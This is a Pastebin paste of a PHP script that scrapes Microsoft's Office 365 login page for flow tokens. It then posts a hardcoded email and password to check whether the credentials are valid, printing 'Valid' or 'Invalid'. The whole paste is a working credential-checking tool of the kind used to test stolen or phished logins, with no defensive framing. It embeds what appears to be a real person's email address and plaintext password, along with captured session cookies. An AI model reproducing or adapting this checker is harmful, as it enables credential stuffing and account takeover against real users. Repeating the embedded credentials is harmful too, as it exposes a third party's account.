Advertisement
Guest User

Untitled

a guest
Nov 30th, 2018
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.38 KB | None | 0 0
  1. <?php
  2. $email = 'tka@ntgdomestics.se';
  3. $password = 'Soj95792';
  4.  
  5.  
  6.  
  7. $do2 = check_password2($email, $password);
  8. if($do2===true){
  9. echo 'Valid';
  10. }else{
  11. echo 'Invalid';
  12. }
  13.  
  14.  
  15. function getStr($string, $start, $end) {
  16. $str = explode($start, $string);
  17. $str = explode($end, $str[1]);
  18. return $str[0];
  19. }
  20.  
  21. function check_password2($email, $password)
  22. {
  23. $ch = curl_init();
  24. curl_setopt($ch, CURLOPT_URL, "https://login.microsoftonline.com/common/oauth2/authorize?client_id=4345a7b9-9a63-4910-a426-35363201d503&response_mode=form_post&response_type=code+id_token&scope=openid+profile&state=OpenIdConnect.AuthenticationProperties%3dQOOepsJcyNe1sU_qaRm8Lv3rx5WXmafK3E35SAR5OKgUz9tL17bkFCWSPyhW5cqmxcABrsbk8BLKYfJMUmEjtbm9MvGcR0HvEgikRymnATlQrwEu4M4c0JLljvuw04FXm4DYpJ1Tfwoyv8o7QH8PiMdjtlUn4KUhFCANnnpbJQm3iNgoE-rjFBz3GM6Kj32w&nonce=636764586140565216.ZDU2ZDEyNmQtMDA4ZS00YjhmLThmMzMtM2QzMTA3ODA4MzJjYTZiNzc3YTEtYjBiNi00ODY5LWJmZWMtZTI3NjFiNjg1YjNm&redirect_uri=https%3a%2f%2fwww.office.com%2f&ui_locales=en-US&mkt=en-US&client-request-id=b4ad91ae-4012-457d-8537-d9695a0921d8&msafed=0");
  25. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  26.  
  27. $result = curl_exec($ch);
  28. if (curl_errno($ch)) {
  29. echo 'Error:' . curl_error($ch);
  30. }
  31. curl_close ($ch);
  32. $sft = getStr($result, '"sFT":"', '",');
  33. $ctx = getStr($result, '"sCtx":"', '",');
  34.  
  35. $ch = curl_init();
  36.  
  37. curl_setopt($ch, CURLOPT_URL, "https://login.microsoftonline.com/common/login");
  38. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  39. curl_setopt($ch, CURLOPT_POSTFIELDS, "i13=0&login=$email&loginfmt=$email&type=11&ctx=$ctx&LoginOptions=3&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd=$password&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=AQABAAAAAAC5una0EUFgTIF8ElaxtWjTuNv6Sp3tPYy1LYVOWrFdSfAE21jIxfzf5LQwH0Tde41K0pSG6xHGl9das7BrXc1JVcDpBUORcErBwWdjNzDkZSNlLOa_aMdBUPIep4WMfwx_3v3v4kCfcVNNCUboF2oYriQpxPEu8XXB_uPK09NGU6AEqHcy1-pVl1yWDOrr4OMpkhc8u0FXImuApIAqJww7C8fCw4UUeepgl3W9_BGYAyAA&hpgrequestid=851eb4d9-0000-468e-a38b-bd3ede412dde&flowToken=$sft&PPSX=&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=1&i2=1&i17=&i18=&i19=372185");
  40. curl_setopt($ch, CURLOPT_POST, 1);
  41. curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  42.  
  43. $headers = array();
  44. $headers[] = "Connection: keep-alive";
  45. $headers[] = "Pragma: no-cache";
  46. $headers[] = "Cache-Control: no-cache";
  47. $headers[] = "Origin: https://login.microsoftonline.com";
  48. $headers[] = "Upgrade-Insecure-Requests: 1";
  49. $headers[] = "Content-Type: application/x-www-form-urlencoded";
  50. $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36";
  51. $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
  52. $headers[] = "Referer: https://login.microsoftonline.com/common/reprocess?ctx=rQIIAXWSPW_TYACE7SQNbUFQwQAT6lAxUDl5_RHHjlQgjZMSEzt14yS1l8hxnMSOv_D7Jk6zIyEhobJ2hAEpI2JASP0DZekIDB2YEBNiYmCo-wNYbjjd8OjuHqbJHFnaYmimYBT7PMEbLE0wPAkIg6FYgi7QLE0BclAAdHR7fePbx_svMOx17d2r00cXZeJiid8dIxTCUj4fx3EuGA5t08qZgZf_hOPnOP4Tx09SK5ZPtFvLFGRptsgygOF4imY5CgAyJ1M1W3fEieRUkazqXrMCgK6W44bqOpKgJN6uLS1kV1OVuS7IXlMVXc1TgOxVUXNPnmgtADTHZBrq2NVVE0mC6MlOnZa7Sqw5rvc9datZnqIxdSVBZC-sP6m1YRB5vTCA6CT9Hm-Gll8fVALft0yUu4pZPrJNA9mBvx8FoRUh24I7nbIFyV5_dMApxRovRgSjRixztDtqTXt1mTs69JkesjmHmmpdok9zgsgTtGSCWrsQmMOxDnuKM1TDpwkCiMcHthrDOYRFoSp1yOpooeyrotlWnvEgQAWt3YgL89lMkjQf7oWGocijD-lsUqsX-GfpmwmUbw82wygY2q71I30HGq4Fn8CE2DZhUn9uOjnP4L8yN0C6tLq6voHdwzaxvxn87Uqy4ePDLW354Ivw5vrX2r9TETtbyT83OtsVTqaLc7LN9ssN16saijFhqpSod7cXtQVqzPQx0zKFeIcvkcdZ_Dib_Z1NvbyGfV773wMuAQ2";
  53. $headers[] = "Accept-Encoding: gzip, deflate, br";
  54. $headers[] = "Accept-Language: en-US,en;q=0.9";
  55. $headers[] = "Cookie: CkTst=G1540815364165; stsservicecookie=ests; AADSSO=NANoExtension; esctx=AQABAAAAAAC5una0EUFgTIF8ElaxtWjTlfM3KVZvsEjefhMDHRVKMFDwmacGKMQvXvJsaYsg-a07tQBdg1F_0RaxgqftWUj7inB8xSa3blwD5VlZyfzu9kwaxzdSQUb_D18lW_KnXkyCvXzjoFMCtkKB4-u8Y570XUkI1NR_15qHKAoSfJPq3qK9dwx9i7k6t3-PtzYHQSkgAA; buid=AQABAAEAAAC5una0EUFgTIF8ElaxtWjT1GASYirVuzKPF9ebVElypM_b6x9tYnPkxa5TSUPLV5TNXub4yjezZqqA0kB0cmTHdQGxwgUazl6hH49NE4i0X0Ti1QI-JYs1TcTJy3Tkr74gAA; x-ms-gateway-slice=002; wlidperf=FR=L&ST=1540815737643";
  56. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  57.  
  58. $result = curl_exec($ch);
  59.  
  60.  
  61. curl_close ($ch);
  62.  
  63. if(stripos($result,"incorrect")!==false)
  64. return false;
  65. else
  66. return true;
  67. //return $result;
  68.  
  69.  
  70.  
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement